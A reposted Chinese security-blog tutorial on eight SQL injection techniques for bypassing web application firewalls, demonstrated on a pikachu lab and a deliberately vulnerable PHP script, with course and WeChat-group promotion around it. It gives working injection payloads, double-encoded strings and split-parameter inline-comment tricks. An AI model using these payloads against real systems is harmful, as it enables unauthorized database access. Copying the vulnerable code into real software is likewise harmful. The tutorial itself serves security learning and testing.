#前言:
1.为了方便大家日后更好的学习安全,
小编为此专门建立了一个氛围良好的学习圈子。
在这个圈子里,大家可以尽情地讨论安全方面的知识,不会的问题也可以在群里求助大佬
同时,本人也经常会在群里免费限时分享我们VIP内部学习资源哦~
如何加群:添加小编微信 hdm838683 即可
PS:进群后切记不可退群!退群者终身无法再次加入!特此通知!
2.VIP公开课免费资源
因为VIP课程上线不久后,很多粉丝都想试听,
但是天时不如地利,地利不如人和呀,辣鸡网盘就是不给力,一分享就挂!
所以本人打算将公开课资源分成8个小部分给大家学习,
目前总大小250G 左右,都是优质资源,够你白嫖了吧
领取方法:关注公众号后台回复关键词“大佬您好”即可获得!
3.2022年内部系统全栈渗透测试培训
添加微信号hdm838683即可获取课程文章
也可以点击本文阅读全文按钮,或者关注本公众号后查看主菜单
对于SQL注入绕过这个话题老生常谈,以前一些比较常用的绕过方法对于现在的waf来说都很难有用了,比如说大小写等等,这几篇文章主要会讲一些在日常渗透测试中比较容易被忽略的sql注入绕过方法。当然,这其中很多方法也不是万能的,通常要先通过白盒审计发现该web应用程序具有能利用次漏洞的特征才行
本篇文章重在讲绕过姿势,因此比较难一一找到实例
姿势一:库名.表名绕过
有些防护措施,不管是waf中自带的正则还是程序员自己设置的正则,都会对数据库中的一些表名进行过滤。以至于我们正常注入时如果语句中出现单一的表名就会被拦截,如“select * from users where id=1”,这个语句里面若后端过滤了users表关键词则无法执行
但在sql语句中,光输入表名的作用和输入库名.表名效果一样。这些防护措施有可能是忽略这一情况。也就是说当输入单一表名被过滤的时候,我们可以用库名.表名的方法绕过
这里以mysql数据库为例
当正常注入时:
以库名.表名 替换users时:
返回结果也一样
姿势二:php脚本特性绕过(%00截断+前后覆盖)
在php站点传参数中,有这么一个特性。如果一个http请求里有两个点在传同一个参数,那么后面一个参数的值就会自动覆盖前面一个,举个例子:
在phpstudy网站根目录下,新建一个test.php
在本地访问,先正常传一个参数id=1
http://127.0.0.1/test.php?id=1
页面成功输入一个1
再用&符号连接第二个id值
http://127.0.0.1/test.php?id=1&id=2
根据php脚本语言特性,同一个参数用&相连同时赋两次值,后面一次的值就会自动覆盖前面一个值,即这个时候id=2
最后也输出2
所以我们可以根据这个特性来绕过waf!
一般来说,大多数php站点的waf防护会先去匹配第一个字符,一旦遇到了%00截断的字符waf就不会去检测后面的内容了
所以我们只用让第一个参数中有%00字符,后面再用&连接,二次传参来覆盖前面第一个字符,此时waf就不会检测第二个字符了,我们也就非常顺利地绕过了检测
姿势三:ASCII字符比对进行绕过
很多时候网站防护对联合查询注入union select进行了限制难以突破,虽然这种时候其实死磕下去也有很大可能成功,但是很考验人的耐心和基本功。这时候与其去死磕,不如直接避开联合查询,用字符串截取的方法进行突破。
这里以substring为例
substring函数主要用来比对字符串,其用法如下
substring(str,x,y)
其中数字x用来确定从第几位数字开始截取,数字y用来确定截取几位数字
在数据库中截取user()第一个字符
截取第二个字符及其后一个字符
打开pikachu,进行实操
使用正常payload
http://192.168.3.31/06/vul/sqli/sqli_str.php?name=vince%27+union+select+1%2Cuser%28%29%23&submit=%E6%9F%A5%E8%AF%A2
使用substring的payload
vince' and substring(user(),1,1)='r'#
http://192.168.3.31/06/vul/sqli/sqli_str.php?name=vince%27+and+substring%28user%28%29%2C1%2C1%29%3D%27r%27%23&submit=%E6%9F%A5%E8%AF%A2
成功返回正确页面
这里跟大家说一下逻辑
首先先会判断user()的第一个字符是否为'r',如果是则返回true,也就是1
如果不是则返回false,也就是0,一个非常简单的编程逻辑
如果返回的是1,则输出正常页面,反之亦然
这种绕过方法唯一的不足就是要一个个去试,当然也可以自己写个python脚本迅速探测
与此同时,除了可以直接判断第一个字符是否为特定的字符,如果遇到单引号被过滤的情况也可以判断它的ascii码是否等于我们所要探测的字符ascii码,具体如下:
先查看字符‘r’的ascii码
然后判断user()的第一个字符ascii码是否为114
pikachu payload:vince' and ascii(substring(user(),1,1))=114#
http://192.168.3.31/06/vul/sqli/sqli_str.php?name=vince%27+and+ascii%28substring%28user%28%29%2C1%2C1%29%29%3D114%23&submit=%E6%9F%A5%E8%AF%A2
也是返回正确页面
姿势四:二次编码绕过
很多时候waf不会对二次编码的payload进行过滤,只会去过滤只解码过一次的结果,但如果web服务器后端的设定允许二次解码或更多次,但waf只会去拦截只解码过一次的payload,所以这时候只要我们的payload经过了二次编码,waf就形同虚设
但这种绕过姿势也有自身局限性,那就是后端必须能解析二次编码,如果只能默认地解析一次也就没啥用,因此,这种漏洞一般只能在白盒审计中被发现,下面带大家一起分析一下
<?php
echo "<h2>二次编码injection</h2>";
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","123456","test");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}
function filterstr($key){
if (!get_magic_quotes_gpc()){
$key=addslashes($key);
}
return $key;
}
$id=isset($_GET['id'])?urldecode(filterstr($_GET['id'])):1;
$sql="select * from users where id='$id'";
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result);
if ($row) {
echo "id:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "密码:".$row['password']."<br>";
echo "email:".$row['email']."<br>";
}
echo '<hr><br>';
echo "查询的语句是:$sql";
?>
其中已经开启了gpc进行转义,并且也利用urldecode进行解码,所以造成了二次编码注入
打开该页面进行实操
先正常输入一个单引号
发现直接被转义
准备将payload进行二次url编码
原本的payload:
1' and 1=1#
第一次编码后
%31%27%20%61%6e%64%20%31%3d%31%23
此时此刻还无法绕过,需要第二次编码
二次编码后:
%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%33%31%25%33%64%25%33%31%25%32%33
因为gpc不会拦截二次解码后的内容,所以可以轻松绕过
姿势五:多参数拆分绕过
有些时候一个请求中,可能会被提交多个参数,并且这多个参数会被拼接到一个sql语句中执行。与此同时,网站的防护一般只会对单个参数进行严格过滤,如果这时候仅仅在想怎么在单个参数上做手脚绕过进行注入往往会无济于事。在这种情况下,我们可以尝试将一个payload拆分到多个不同参数中,巧妙地绕过防护。
但是前提是这几个参数必须被拼接到同一个sql语句中进行执行,所以一般也是要在白盒审计中才能发现
比方说,在一个get请求中,有a和b两个参数用户可控,但网站后端均对这两个参数中的内容进行了严格过滤。我们可以将一个内联注释符拆分为两部分,前面一部分放在参数a中,后面一部分放在参数b中。在真实执行sql语句时,a,b两参数将被带入到一个语句中执行,内联注释就会闭合,我们的目的也就完成了
下面我们将在源代码中分析:
$id=isset($_GET['id'])?$_GET['id']:1;
$username=isset($_GET['username'])?$_GET['username']:'admin';
$sql="select * from users where id='$id' and username='$username'";
$result=mysqli_query($con,$sql);
由代码中第三行可知,sql语句中将$id和$username两个变量放到了一个查询语句中。我们则可以将一个sql注入语句拆分为两块,再结合内联注释,就组成了一个新的sql注入语句
我们可以让id的值为-1' union /*
让username的值为*/ select 1#
这时候语句就变成了
select * from users where id='-1' union /*' and username='*/ select 1
union和select中内联注释相互闭合,所以最终执行时语句等效于:
select * from users where id='-1' union select 1
成功组成了新的查询语句
姿势六:分块传输绕过
原理很简单,就是把一个大的http请求数据包中内容拆分为多个小的1内容进行传输,操作也很简单,但是只能适用于POST请求,利用一个burpsuite的插件chunked-coding-converter 即可,具体操作如下,还是拿pikachu当做例子:
先输入正常的payload再抓包
在burp中Extender模块里新增一个chunked-coding-converter插件
返回前面,右键,点击chunked-coding-converter,再点击encoding
可以看到请求包内容已经改变了,点击Forward即可
姿势七:http变换请求方式绕过
在大多数waf防护中,对POST和GET两种不同的请求一般会设置不同的防护措施,所以当我们抓包改变请求方式时,有一定概率能绕过waf检测。
当然,这也不是万能的,web服务端还必须能同时接受POST和GET两种请求才可以,有一定局限性。比如说php后端是用的request函数接收参数时,可以用两种不同方式提交。因此,这种绕过方式的漏洞一般也只能在白盒审计中被发现,比如说以下代码,就可能存在这个漏洞
<?php
$a=$_REQUEST['id'];
echo $a;
?>
使用了request函数,可以同时接收post和get请求
在利用的过程中,直接修改请求头请求方式和参数所在位置即可
姿势八:修改json绕过
对于部分WEB应用程序,除了可以接收一般的数据格式,还可以接收json提交的参数,再拼接到sql语句中,但是大多数的waf是不会对json提交的数据进行检测的,也就造成了绕过
和上面几种一样,修改application/json绕过并不万能,只有web服务端能够解析json数据时才有可能有用
如何修改成json格式?这个非常简单,因为json格式的数据都是被花括号包裹起来的,我们直接将post的数据用花括号包裹起来即可,下面是个简单实例:
修改前:id=1
修改后:{'id':1}
公众号:天策安全技术联盟
欢迎关注
点击“阅读全文”,报名学习最新最系统完整的安全渗透课程
原文始发于微信公众号(YKCC安全):容易被忽略的SQL injection bypass手段(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论